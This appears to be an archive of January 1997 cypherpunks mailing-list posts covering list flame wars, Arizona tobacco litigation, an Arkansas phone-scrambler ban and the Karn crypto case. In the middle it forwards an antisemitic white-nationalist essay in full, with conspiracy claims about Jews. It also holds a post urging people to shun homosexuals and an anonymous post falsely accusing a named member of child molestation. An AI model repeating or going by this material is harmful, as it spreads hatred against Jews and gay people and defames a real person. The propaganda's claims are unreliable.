> Exactly. So how come mom&pop with a scanner were able to record BOTH sides
> of the conversation without interruption? This seems pretty suspicious to
> me. I think Old Newt was targeted by someone inside the phone company, who
> was eavesdropping on all of his cell calls.
> 
> 

Why restrict the list of usual suspects to the phone company?

-r.w.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 15 Jan 1997 22:03:26 -0800 (PST)
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: DCSB: The Internet Consumer -- 1996 in Review & Predictions for 	 1997
In-Reply-To: <v03007801af01f45e92d3@[139.167.130.248]>
Message-ID: <32DDDC95.3271@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Robert Hettinga wrote:
> I fished this out of my killfile. Ironically, I had just plonked Toto
> yesterday because I saw no compelling merit in anything he has posted to
> cypherpunks since he got here, and given the quantity of his posts, he was
> starting to waste my attention. However, this morning, as my mail was
> coming down in Eudora, I saw that he had replied to this month's DCSB
> announcement, and, frankly, I knew that it had to be something like this.

  Why do people feel compelled to 'explain' how they 'chanced'
to read items in their 'killfile'? It always seems to me to be
for the purpose of insulting someone while keeping egg off of
their own face.

> When I sent the posting in question to the cryptography groups, I figured
> that this month's DCSB meeting would not not be especially on topic, even
> for cypherpunks :-). 

> Anyway, I apologize to anyone this has offended. Except, of course, for
> certain, um, dogs.

  I didn't consider it particularly off-topic, myself. I was jes'
fishin.
 
> <Now, where's Toto? It looks like he needs a physic... Toto!!! Here, Boy!
> Waaalkies!!!!>

  And it looks like I 'caught' one.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 15 Jan 1997 21:00:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Seen Your Post!
In-Reply-To: <Pine.SUN.3.91.970115140535.6353A-100000@crl.crl.com>
Message-ID: <TqXL1D5w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Sandy Sandfort <sandfort@crl.com> writes:

> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>                           SANDY SANDFORT
>  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
>
> C'punks,
>
> On Wed, 15 Jan 1997, Sean Roach wrote:
>
> > At 01:17 AM 1/15/97 -0800, Garry wrote:
> > >I Seen Your Post!
> > >...
>
> > I hope that our moderator will judge posts on the total content,
> > otherwise insidious little posts like this one may slip through.
>
> I caught that one.  I'm sure some will slip through from time to
> time though.

I wonder what the dishonorable moderator means by the C in "C'punks".
It obviously can't be "cypher" or "crypto" since crypto is off-topic
on this list. Is it one of the things that the 'C' in "Timmy C. May"
is reported to designate?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Thu, 16 Jan 1997 00:22:03 -0800 (PST)
To: Sean Roach <toto@sk.sympatico.ca>
Subject: Re: It's a great new year!  telemarketers and solicitors
Message-ID: <199701160822.AAA02684@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain


On or About 13 Jan 97 at 21:06, Toto wrote:

>   With the 'wonder of modern technology' at their fingertips,
>   however,
> the 'common man/woman' can also avail themselves of the plethora of
> information lying within reach of their sticky little fingers.
> 
>   Big Brother wants to know everything about everybody, and if the
> average user gets tired of Little Brother getting ahold of the
> information, then I am sure that Big Brother will come to our
> rescue, passing laws and instituting regualtions that 'save' us by
> ensuring that only Big Brother knows all.

Yeah, if everyone keeps crying and whining about "too much spam"  
"too much information freely available"  Then that's just what will 
happen.  Keep the Government out of the Internet!!!!!!

Ross

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: 415-206-9906




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: AquaDeath <aquadeath@monmouth.com>
Date: Wed, 15 Jan 1997 21:40:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: How to crack
Message-ID: <3.0.32.19970116003738.0068cda4@monmouth.com>
MIME-Version: 1.0
Content-Type: text/plain


>X-Persona: <AquaDeath>
>Date: Wed, 15 Jan 1997 21:21:54 +0000
>From: "Tim O'Brien" <tmo9d@virginia.edu>
>Organization: University of Virginia
>To: cypherpunks@toad.com
>Subject: How to crack
>Sender: owner-cypherpunks@toad.com
>

Thanks for your wonderful insight, next time keep it to yourself.

>Hi, my name is Tod, and I really want to be a cool hacker, so I joined
>this crap mailing list called cypherpunks.  
>
>
>
>Blah Blah Blah, you guys don't know anything...Prove yourself and I may
>let you in.  This mailing list is for people who want to sell goods
>nothing else.....
>
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: +Sabbath+ <BlackSunday@Hell.DOA>
Date: Wed, 15 Jan 1997 23:35:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: How to crack
Message-ID: <32DDDBE2.7C2C@Hell.DOA>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 15 Jan 1997, Tim O'Brien wrote:

> Hi, my name is Tod, and I really want to be a cool hacker, so I joined
> this crap mailing list called cypherpunks.  
> 
> Blah Blah Blah, you guys don't know anything...Prove yourself and I may
> let you in.  This mailing list is for people who want to sell goods
> nothing else.....



Tim ,Tod, whatever:


	The list is for Hackers & Crackers. Since you made the famous Dumbshit
Statement " I want to be a Hacker" Your first hack test is trying to get
off the list.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Wed, 22 Jan 1997 22:15:13 -0800 (PST)
To: CYPHERPUNKS-OUTGOING-KSIUW@toad.com
Subject: YEEHAW! Tobacco argument heats up in AZ
Message-ID: <199701230615.XAA06580@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

    summary: AZ AG filed for an injunction in the public interest
    to stop the sale of tobacco in AZ.  tobacco company response 
    claimed he was infringing on legislative rights...   full story is
    below.

        pure warmed-over buffalo chips --the tobacco interests.  

        ...create a conflict between the judiciary and the legislative
    branches since the judiciary can ban the sale of something the 
    legislative branch has decided to regulate and collect taxes 
    from ...  ?

        where did this boy learn his logic, let alone his law (of 
    course, who ever said any lawyer used logic any more than
    statistics are used to defend lies?)

        big tobacco will spend at least $200 million, maybe even $1
    billion in advertising and diversions to avoid this one --this is
    not a tort issue with delayable appeals --this is injunctive
    relief which could stop the sale of tobacco in a single hearing.

        bravo! and, I'll bet AZ never passed legislation which states 
    the death merchants have a mandated "right" to sell tobacco 
    products, even though the legislature did elect to pass a law to 
    "regulate" the sale of tobacco.  a mandated right implies 
    endorsement, and places the endorser in the product liability 
    chain. 

        A fine line maybe for the tobacco companies to hang their hats
    on, but a Grand Canyon worth of the state if there has no "right"
    to sell granted --granting a "right to sell" would be tantamount to 
    endorsing the sale of tobacco products.  this may be the perfect 
    shot. 

        let's see how long before the ACLU jumps in!  and, on which
    side will they jump?!?   Is 'smoking' a libertarian privilege 
    cranted unconditionally to the people despite the side effects, 
    and collatgeral damage, even if you do not smoke? 

        This case should draw enough amicus curiae to require an 
    entirely new complex of libraries just to hold the pleadings, 
    and an army of law clerks with a massively parallel database 
    to catalogue and service the briefs.

        I can see the fine hand of the Association of Attorney Generals
    driving this one.  Arizona is constituted just mean enough to take 
    this kind of action.  

        Let's see how long it is before the Feds try to step in on the 
    possible Constitutional grounds of regulating trade between the
    states, or claiming "jurisdiction" under rule 10 FRCP where 
    the combatants are of differing 'citizenship' AND the amount is
    more than $10,000 (the injunctive relief has no monetary value in
    and of itself) can be moved by any party to the Federal court 
    having jurisdiction (that was how I prevented AT&T from moving from 
    NV to NY or NJ where they could stall forever and indulge in the 
    usual payoffs).

        --as an aside, I wonder if we could ban tobacco sales in Utah 
    by referendum?  if the population is 70% LDS, the rural more 
    likely to follow the word of wisdom active members might be enough 
    to tip the vote on a referendum.  hmmm.  that would send a message
    even McCaffey and Reno would have a problem with --there is no
    medical defense for tobacco.

        As for the loss of revenue argument, the excise taxes the state
    collects from the sale of tobacco certainly does not cover the 
    increased health costs and the collateral economic and social costs 
    associated with tobacco related health problems.  the state might 
    have a net loss position initially, but over the long run, the
    reduced health costs will more than cover the loss of tobacco excise 
    tax.

        meanwhile, back to prohibition: rolling your own from back 
    yard weeds is a lot harder than making bathtub gin!

  ==
  "When buying and selling are controlled by legislation, 
    the first things to be bought and sold are legislators"  
        --P.J. O'Rourke.

  ==
  "hunt lawyers, not big game!
    lawyers are more numerous,
    you can not become attached to them,
    and they taste just like chicken."
        --attila

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: Encrypted with 2.6.3i. Requires 2.6 or later.

iQCVAwUBMubQI704kQrCC2kFAQFeFgP+MUBbpn9yNDi2NmSZd2D5qlUvYIyobPd7
ppVxG2Wne5cywM9NWRYGCUA4g2QxlYRA7+sAxbxKa0kLpjhW38IAe8ea/0NnkH+P
exTvtUTD35sAU6bl5ypGsFF/1Nuzy7+UWIKdm7LROPjiNMp+C/TEQQrHR5jF1x5A
EoWkoBzrwTs=
=1+2g
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::            06:30 PM ET 01/14/97

::            Tobacco industry seeks dismissal of Arizona case

::                     
::      PHOENIX, Arizona (Reuter) - The tobacco industry filed
:: motions on Tuesday in a bid to dismiss the Arizona Attorney
:: General's law suit which seeks to ban the sale of tobacco in the
:: state.
::      Lawyers for two of the defendants, Brown & Williamson
:: Tobacco Corp. and Philip Morris Cos Inc. (MO.N), said in a
:: statement the proposed ban would eliminate tax revenue from the
:: sale of tobacco which is used to fund healthcare and education
:: programs statewide.
::      "We have filed motions asking the court ... whether these
:: claims should be permitted to proceed,'' said William Maledon a
:: lawyer at Osborn Maledon which represents Philip Morris Inc.
:: "We believe it is clear that the Attorney General has no
:: authority to initiate at least six of the 11 claims he has
:: brought,'' he said.
::      The tobacco industry on Tuesday filed eight motions to
:: dismiss the suit in Maricopa County Superior Court in Arizona.
:: The Arizona lawsuit against the tobacco industry was filed
:: in August and amended by the state's attorney general in
:: November.
::      The suit seeks to ban the sale of tobacco products statewide
:: and recover increased healthcare insurance premiums the state
:: alleges to have paid for ``tobacco-related illnesses'' by state
:: employees and their dependents.
::      The suit also seeks ``corrective'' advertising and funding
:: of programs to help people give up smoking as well as
:: unspecified damages for alleged consumer fraud, restraint of
:: trade and civil racketeering.
::      Paul Eckstein, an attorney with Brown & Bain which
:: represents Brown & Williamson, said Arizona would suffer should
::  the attorney general win the suit.
::      "If the Attorney General prevails on this public nuisance
:: argument, the tobacco tax revenue source would be eliminated
:: without legislative input,'' he said.
::      "This raises the question of which state programs would be
:: eliminated for lack of funding,'' he added.
::      The lawyers said Arizona collected $650.5 million in tobacco
:: excise taxes from 1980 through 1993 and that the state will
:: collect another $167.5 million in fiscal 1996.
::      "The Arizona Legislature has not chosen to ban the sale or
:: use of tobacco, but rather regulate and profit from it,''
:: Eckstein said. ``This lawsuit would create a direct and
:: irreconcilable conflict between the judicial and legislative
:: branches of government.''








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John C. Randolph" <jcr@idiom.com>
Date: Thu, 16 Jan 1997 04:14:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: ARKANSAS BANS PHONE SCRAMBLERS
Message-ID: <199701161214.EAA26655@idiom.com>
MIME-Version: 1.0
Content-Type: text/plain


It figures.  It's Fuehrer Clinton's home state, isn't it?

Somedays, this shit just makes me want to give up on the USA, and
emigrate to Anguila.

-jcr

begin forwarded message:

Date:  January 15, 1997
To:  All RadioShack Stores 
From:  RadioShack Communications
Subject:  URGENT PRODUCT NOTIFICATION
Memo Id:  8216

IMMEDIATE ATTENTION 
The Arkansas Police have declared that is is illegal to own, use, or
possess RSU product #11265113, a fully assembled
descrambler/scrambler, in the State of Arkansas.  Tandy Corporation's
legal department is researching this and the product has been removed
from RSU distribution.  DO NOT take order or sell this product until
this situation can be resolved.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

1 if by land, 2 if by sea.  Paul Revere - encryption 1775

Charles R. Smith
SOFTWAR
http://www.us.net/softwar

Pcyphered signature:
9CA23246F0A9093AE97B94CFBB8E03D01998C13F0A52373C3D7AB2289F1F63A1
0A2E18043109D5211BC95C7995158BFA246FA376A454001ECADF3D4C86A7A8DC
ABF75F374AB54252949670681C6E798E7A4C59314F0F2BB5768A45D4D262DC20
8045B84E1E368F6253EC1101E5E96B35B2E30F9B97A33ABD2D729FC369D4CB3F
127CC6ED150654541F52F08D11A1AAA832367E058F07542F854086409F45BA19
F2F9D46190F59D12A489B59206FDCF200C1D1D72A2F3099C9DD725344CA565B4
504E8B20AE92E3E7230C320FB76EE88D950E9EF21BA1BB4D2C48794CCDC809A4
EF1E11B38B335E64EDEBD6545265B033B47EE06CE598D608DB9968CF4B360DB1






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Thu, 16 Jan 1997 03:25:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Jews (American Dissident Voices Weekly Transcripts)
Message-ID: <Pine.LNX.3.95.970116061648.30623B-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


we take no position on this matter, and
this is forwarded for Usenet Distribution.
---------- Forwarded message ----------
Date: Wed, 15 Jan 1997 15:31:05 -0500
From: The Bok <vincent@dreamon.com>
Reply-To: jimsteel@dreamon.com
From: The Bok <vincent@dreamon.com>
Reply-To: jimsteel@dreamon.com
To: jimsteel@dreamon.com
Subject: American Dissident Voices Weekly Transcripts

---------------------------------------------------------------
American Dissident Voices is a world wide radio program which 
deals with topics of interest that concern people of European
descent. We hope that these weekly articles will offer the reader 
an opposing viewpoint to the major news media. 
---------------------------------------------------------------

Jewish Supremacy:

Those Who Want to Dominate a Multiracial Society Are Racial
Supremacists; Those Who Want to Live in a Healthy, Homogeneous Society
Are Racial Separatists.

by Kevin Alfred Strom 

 Have you ever noticed the psychological phenomenon in which a person
will often call attention to the real or imagined faults in others that
he himself suffers from? The name of this phenomenon is projection, and
it certainly crops up often in life: the mentally unbalanced man
accusing others of being "crazy"; the extremely jealous woman accusing
her husband of not trusting her; the habitual schemer accusing his
co-workers of plotting against him; the greedy man excoriating his
fellows for being selfish; etc. 

 This phenomenon is nowhere more apparent than in the controlled media's
readiness to accuse anyone who believes in White survival of being what
they call a "White supremacist." This has to be the most egregious
example imaginable of the pot calling the kettle black. 

 Actually, it is more like the pot calling the silverware black, since
most of those accused of being À "White supremacists," or in
illiterate-speak, "White supremists" [sic], are actually White
separatists, a very important distinction. It is the largely Jewish
masters of the media who are supremacists supreme. 

 A separatist desires that his people should have freedom and
independence from domination by other peoples, and to that end he works
for the day when his people shall be able to live and provide for
themselves in their own nation, without the burden of an underclass or
overclass comprised of other peoples. A separatist specifically does not
desire to be an overclass. He does not want to rule over any other
people. In fact, a separatist does not want a multiracial society at
all. 

 A supremacist, on the other hand, wants and demands a multiracial
society. In this multiracial society he wishes his race or social group
to be the dominant one. The fact that this desire is usually cloaked in
pretensions of beneficent intentions and "the greatest good for the
greatest number" should not obscure the fact that it is a master/servant
relationship that the supremacist wants. White Americans who promoted
Black slavery in this country during the first half of the 19th Century
could properly be called supremacists. White American businessmen who
support increased Third World immigration to provide themselves
with cheap labor are essentially supremacists. The White upper class
have abandoned their own people, but they daub their unconscionable
piggish greed and treason with a fake gilding of "tolerance" which they
themselves neither believe nor practice. 

 The world champions of hypocrisy when it comes to ethnic supremacy,
however, have to be the organized Jews. Dominant in the Hollywood/New
York cultural axis, when anyone challenges their interests they are
quick to denounce with the words that they have made into terms of
opprobrium: "racist," "White supremacist," etc. In their movies and
their newscasts they are zealous in their promotion of the idea of a
multiracial, multicultural society in which all live in perfect harmony.
In fact, the genesis of this "multicultural" moral and social construct
was with the leftist media Jews and their allies, as they themselves
admit in private Jewish publications (see previous article, "Yiddishkeit
Pathology." But a careful examination of organized Jewry's attitudes
towards other races reveals a quite different face from that presented
to the public. In fact, it can be fairly said that Jewish religion and
Jewish practice exemplify racial supremacy at its most hateful and its
most outrageous. In truth, after examining definitive Jewish religious
documents one can be forgiven for thinking that racism just might have
been invented by the Jews. 

Let's take a look at the record. 

 A few years ago a friend of mine, after a long evening discussing
politics and conspiracy, asked me, "If there really were a Jewish plan
to dominate and enslave us as you say, surely someone would have
defected and spilled the beans on his fellow conspirators." 

 "Well," I replied, "I agree that would be the very best evidence of
all." 

 I can tell you now that such evidence not only exists, but it is
plentiful. It is not all in one place, and one has to examine the
testimony of more than one individual to get the complete picture, but
there are indeed defectors from what my friend called the "Jewish
conspiracy." I am not sure how well the word "conspiracy" now applies to
a domination presently being conducted more and more out in the open,
but a conspiracy it once was, and defectors it has surely had, though
not all of them would have claimed that title. Long-time readers will be
familiar with the names of a few of these: Benjamin H. Freedman, Alfred
Lilienthal, Victor Ostrovsky, Samuel Roth, Marcus Eli Ravage, Noam
Chomsky, Israel Shahak. Each provides a piece of truth that the ruling
establishment does not wish you to know. 

 Today let us examine Israel Shahak. Israel Shahak is a professor
emeritus at Hebrew University and longtime Israeli dissident. Israel
Shahak is a liberal Jew who excoriates "Nazis" repeatedly and
vociferously in his writings. Israel Shahak is himself a former resident
of the Bergen-Belsen concentration camp during World War II. He was
raised as an Orthodox Jew. He is a Jew who settled in Palestine in 1945
and was witness to the founding of the state of Israel. And he is a
powerful opponent of Jewish hypocrisy. 

 The extraordinary thing about Israel Shahak is that he does not have a
double standard for Jews and non-Jews when it comes to racial supremacy.
Shahak is against racial supremacy whether practiced by Jews or
non-Jews, and he finds that it is practiced extensively by Jews and is
in fact part of their religious traditions. Professor Shahak finds this
morally disturbing and not in the long-term interests of Jews. Professor
Shahak has published a book which examines the issue of Jewish racism in
detail, Jewish History, Jewish Religion: The Weight of 3,000 Years. 

 Israel Shahak says that Judaism and its teachings are "poisoning the
hearts and minds" of its followers and have been doing so for thousands
of years. In a recent forum at the Massachusetts Institute of
Technology, he acknowledged that Jews have been persecuted in the past,
but emphasized that today "it is quite common that a persecuted group
becomes the persecutor."

 One of Shahak's favorite activities is translating the Hebrew press
into English for the edification of the rest of us, a practice which has
earned him the burning hatred of many in the Jewish establishment. One
article he translated recently, by Israeli journalist Tom Segev, relates
the writer's random walk through Jerusalem in the company of an Arab
lawyer. The lawyer was stopped repeatedly by Israeli guards and his
identification papers were demanded. One guard ordered him, "Come here,
jump." Then the guard dropped his papers on the road and, laughing,
demanded that the Arab pick them up. Aside to the Jewish journalist the
guard stated, "These people will do whatever you tell them to do. If I
tell him to jump, he will jump. Run, he will run. Take your clothes off,
he will take them off. If I tell him to kiss the wall, he will kiss it.
If I tell him to crawl on the road, won't he crawl? . . . Everything.
Tell him to curse his mother and he will curse her too." The guard
continued, offering his opinion that the Arabs are "not human beings."
The border guards then searched the lawyer, gratuitously slapping him,
and ordered him to remove his shoes, warning him that they could order
him to remove all his clothes if they so chose. Segev continues: "My
Arab kept silent and sat down on the ground." The border guards laughed
and said again, "Really, not humans." 

 This, of course, is a relatively mild example of the attitude of many
Jews toward Gentiles, but it suffices to show the mentality involved. 

 Shahak, in an article entitled "The Ideology Behind the Hebron
Massacre," gives us some additional recent examples of this widespread
Jewish attitude. He translates a few of the statements of a religious
group in Israel called the Gush Emunim, which, according to Shahak,
"enjoy[s] [Yitzhak] Rabin's friendship and strong influence in wide
circles of the Israeli and diaspora Jewish communities." 

 This sect states that Jews are not and cannot be a normal people. 

 One of their leaders, Rabbi Schlomo Aviner, stated,". . . while God
requires other normal nations to abide by abstract codes of justice and
righteousness, such laws do not apply to Jews." 

 Rabbi Israel Ariel states, "A Jew who kills a non-Jew is exempt from
human judgment, and has not violated the prohibition of murder." 

 According to Gush Emunim rabbis, "all Arabs living in Palestine are
thieves because since the land was once Jewish, all property to be found
on that land really belongs to the Jews." 

 These Jewish fanatics feel invincible. They possess one of the world's
most powerful military machines (built up by five billion or more U.S.
dollars in annual aid) and have plenty of potential American cannon
fodder at their disposal. They state: "Israel need have no fear of
future wars, and can even provoke them at will . . . Even if there is
peace, we must instigate wars of liberation in order to conquer . . ." 

 In Shahak's article former Knesset member Rabbi Eliezar Waldman, who is
now the director of the main Jewish school in Kiryat Arba, expresses the
view "that by fighting the Arabs, Israel carries out its divine mission
to serve as the heart of the world . . . while Arab hostility springs,
like all anti-Semitism, from the world's recalcitrance against being
saved by the Jews, . . . or from Arabs seeking to fulfill their
collective death-wish." 

 Shahak recounts the answer of a rabbi who was asked by an Israeli
soldier if it was proper to kill Arab women and children. The rabbi's
answer was a quote from the Jewish holy book, the Talmud "The best of
the gentiles . . . kill him; the best of snakes . . .dash out its
brains." Some holy book; some religion! 

 Shahak contends that Jews are imbued with such attitudes to the degree
that they are immersed in Judaism. In his book he explores the
anti-Gentile outlook of Judaism's Talmud. He writes: 

"According to the Jewish religion, the murder of a Jew is a capital
offense and one of the three most heinous sins (the other two being
idolatry and adultery). Jewish religious courts and secular authorities
are commanded to punish, even beyond the limits of the ordinary 
administration of justice, anyone guilty of murdering a Jew . . . When
the victim is a Gentile, the position is quite different. A Jew who
murders a Gentile is guilty only of a sin against the laws of Heaven,
not punishable by a court. To cause indirectly the death of a Gentile is
no sin at all. 

"Thus, one of the two most important commentators on the Shulhan 'Arukh
explains that when it comes to a Gentile, "one must not lift one's hand
to harm him, but one may harm him indirectly, for instance by removing a
ladder after he had fallen into a crevice . . . there is no prohibition
here, because it was not done directly." 

"A Gentile murderer who happens to be under Jewish jurisdiction must be
executed whether the victim was Jewish or not. However, if the victim
was Gentile and the murderer converts to Judaism, he is not punished. 

Shahak reveals that according to the Talmud: 

"Sexual intercourse between a married Jewish woman and any man other
than her husband is a capital offense for both parties, and one of 
the three most heinous sins. The status of Gentile women is very
different. The Halakhah presumes all Gentiles to be utterly promiscuous
and the verse "whose flesh is as the flesh of asses, and whose issue [of
semen] is like the issue of horses" is applied to them . . . Therefore,
the concept of adultery does not apply to intercourse between a Jewish
man and a Gentile woman; rather the Talmud equates such intercourse to
the sin of bestiality . . . 

"According to the Talmudic Encyclopedia: "He who has carnal knowledge of
the wife of a Gentile is not liable to the death penalty, for it is 
written: `thy fellow's wife' rather than the alien's wife . . . and
although a married Gentile woman is forbidden to the Gentiles, in any
case a Jew is exempted." 

"This does not imply that sexual intercourse between a Jewish man and a
Gentile woman is permitted -- quite the contrary. But the main
punishment is inflicted on the Gentile woman; she must be executed, even
if she was raped by the Jew: "If a Jew has coitus with a Gentile woman,
whether she be a child of three or an adult, whether married or
unmarried, and even if he is a minor aged only nine years and one day .
. . because he had willful coitus with her she must be killed, as is the
case with a beast, because through her a Jew got into trouble."

"If a Jew finds property whose probable owner is Jewish, the finder
is strictly enjoined to make a positive effort to return his find by
advertising it publicly. In contrast, the Talmud and all the early
rabbinical authorities not only allow a Jewish finder to appropriate an
article lost by a Gentile, but actually forbid him or her to return it .
. . 

"It is forbidden to defraud a Jew by selling or buying at an
unreasonable price. However, fraud does not apply to Gentiles, for it is
written: "Do not defraud each man his brother . . . The Halakhah
interprets all such idioms [as 'each man his brother' or 'neighbor'] as
referring exclusively to one's fellow Jew. 

"In 1962 a part of the Maimonidean Code . . . the so-called Book of
Knowledge, which contains the most basic rules of Jewish faith and 
practice, was published in Jerusalem in a bilingual edition, with the
English translation facing the Hebrew text. The latter has been restored
to its original purity, and the command to exterminate Jewish infidels
appears in it in full: "It is a duty to exterminate them with one's own
hands." In the English translation this is somewhat softened to: "It is
a duty to take active measures to destroy them." But then the Hebrew
text goes on to specify the prime examples of "infidels" who must be
exterminated: "Such as Jesus of Nazareth and his pupils, and Tzadoq and
Baitos [the founders of the Sadducean sect] and their pupils, may the
name of the wicked rot." Not one word of this appears in the English
text on the facing page (78a). And, even more significant, in spite of
the wide circulation of this book among scholars in the English-speaking
countries, not one of them has, as far as I know, protested against this
glaring deception. 

 Jew Israel Shahak has done the world a great service. He has been
intellectually honest and very courageous. In Israel he speaks against
Judaism at a very real risk to his life so as to reveal the truth about
the most long-standing and utterly hostile racism the world has ever
seen: Jewish racism. 

 Israel Shahak's works make it clear that the new religion of "equality"
promoted by the Jewish establishment is for Gentile consumption only.
Organized Jews promote "equality," but they believe in the very
opposite. They believe that they are a special, chosen people, destined
to rule all others and to own all the wealth of the world. They are
fanatical about preserving their heritage and their identity, their
exclusive Jewish schools, and their organizations. The prevailing Jewish
world view is a textbook example of the racial supremacy they are so
fond of accusing others of having. 

 What can we learn from this? I assure you it is not my purpose to
promote hatred or racial supremacy from our side of the racial divide.
The very fact that I devote so much space to truth-telling Jewish
dissidents should prove that. 

 I think we can learn a lot from an unbiased observation of Jewish
activities. First we must acknowledge that they have been amazingly
successful at surviving. Surrounded by often hostile majorities, they
have preserved their identity, their culture, and the germ of their
racial uniqueness through millennia. For that we can credit their
intense sense of identity and solidarity and their belief in themselves
as a people. I deeply wish that we Europeans could emulate them in this
regard, for then our survival would be assured. 

 But I cannot recommend their hypocrisy as an example to be followed.
This hypocrisy always leads them to practice a supremacist rather than a
separatist way of life. Despite some Zionist denials the Jewish way of
life shows every sign of continuing on its perpetual path of living
among other peoples as a solid, organized minority and attempting to
gain the upper hand in Gentile nations by promoting the poisonous idea
of a raceless society. This destructive and hypocritical approach is
sure death for the Gentiles, of course, and in the long run always
backfires on the Jews. That is precisely what Professor Shahak is
worried about. 

 I think that racial separatism, not supremacy, is the only path to
independence and freedom for all peoples on this planet. It is also a
path that is in harmony with our natural instincts. Our instincts -- all
of them -- are there for very important reasons, and we would not be
what we are if it were not for the instincts which led us to survive the
rigors of Ice Age Europe and to consider ourselves fundamentally
different from peoples who developed closer to the Equator.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Thu, 16 Jan 1997 03:29:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Homo/bi/sexuals Most Destructive
In-Reply-To: <1.5.4.16.19970115053019.18bf61b4@mail.aloha.com>
Message-ID: <Pine.LNX.3.95.970116062523.30623C-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


An excellent Article here, pointing out why everybody should
shun homosexuals to be safe and healthy.

On Wed, 15 Jan 1997, Dr. Jai Maharaj wrote:

> When it comes to AIDS, unless there are facts to invalidate the following
> information, it is evident that the homo/bi/sexual lifestyle is
> overwhelmingly the most destructive among those listed:
> 
> "Who Are The Patients?
>    "In the United States, homosexual and bisexual males make up
> approximately 62 percent of the total patients. The other major group
> afflicted with AIDS are intravenous drug abusers -- both men and women --
> who constitute 20 percent of the total. . . ."
> 
> "ADULTS AND ADOLESCENTS WITH AIDS, 1981-87
> ==================================  Males  %  Females  %  Both sexes   %
> Homosexual/bisexual males          50,325 68           0      50,325  62
> Intravenous (IV) drug abusers      12,529 17    3,622 52      16,151  20
> Homosexual male an IV drug abusers  5,874  8                   5,874   7
> Hemophilia/coagulation disorder       751  1       22  0         773   1
> Heterosexuals                       1,516  2    2,073 30       3,589   4
> Blood transfusion                   1,297  2      747 11       2,044   3
> Undetermined (1)                    2,143  3      519  7       2,662   3
> TOTAL                              74,435 91    6,983  9      81,418 100
> =========================================================================
> "Note:  Provisional data.  Cases with more than one risk factor than the
> combinations listed are tabulated only in the category listed first.
> (1) Includes patients on whom risk information is incomplete, patients
> still under investigation, men reported only to have had heterosexual
> contact with a prostitute, and patients for whom no specific risk was
> identified; also includes one health care worker who developed AIDS after
> a documented needle-stick to blood. Source: Centers for Disease Control."
> =========================================================================
> Cited in "The Universal Almanac 1990", Andrews and McMeel, 1989.
> =========================================================================
> 
> Readers are invited to post data supporting or opposing the above.
> 
> Jai Maharaj
> jai@mantra.com
> Om Shanti
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@replay.com (Anonymous)
Date: Wed, 15 Jan 1997 22:55:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Quadratic residues
Message-ID: <199701160655.HAA02470@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May the self-admitted child molester possesses a rudimentary dick 
less than one inch long, half the size of his mother's clitoris, that 
barely makes a fistful. Thereby hangs the root of this Jew-hating 
sissy's sick fixation on little boys and Usenet forgeries.

      \\\
     (0 0)
 _ooO_(_)_Ooo____ Tim May





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 16 Jan 1997 08:41:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Response to my post about Karn case and Judge Ginsberg
Message-ID: <Pine.GSO.3.95.970116084051.6010I-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Thu, 16 Jan 1997 08:39:22 -0800 (PST)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: Response to my post about Karn case and Judge Ginsberg

[In a post earlier this week announcing that a partial Karn transcript was
in Netly's Afterword section, I said that Ginsberg had libertarian
leanings. Attached is a response. --Declan]

---------- Forwarded message ----------

Date: Wed, 15 Jan 1997 10:48:46
From: [Name deleted -DBM]
To: Declan McCullagh <declan@well.com>
Subject: Re: Karn case challenging crypto rules -- oral arguments online

I don't know if you're aware of this case, but Judge Ginsberg wrote the
most disturbing dissenting opinion on a national security issue that I
can think of in recent years.  It was a lawsuit involving old FBI
COINTELPRO activity from the late 1950s.  The widow of a prominent
Communist sued the FBI for ruining her husband's career.  It seems the
FBI planted falsified documents implying that he was an FBI spy where
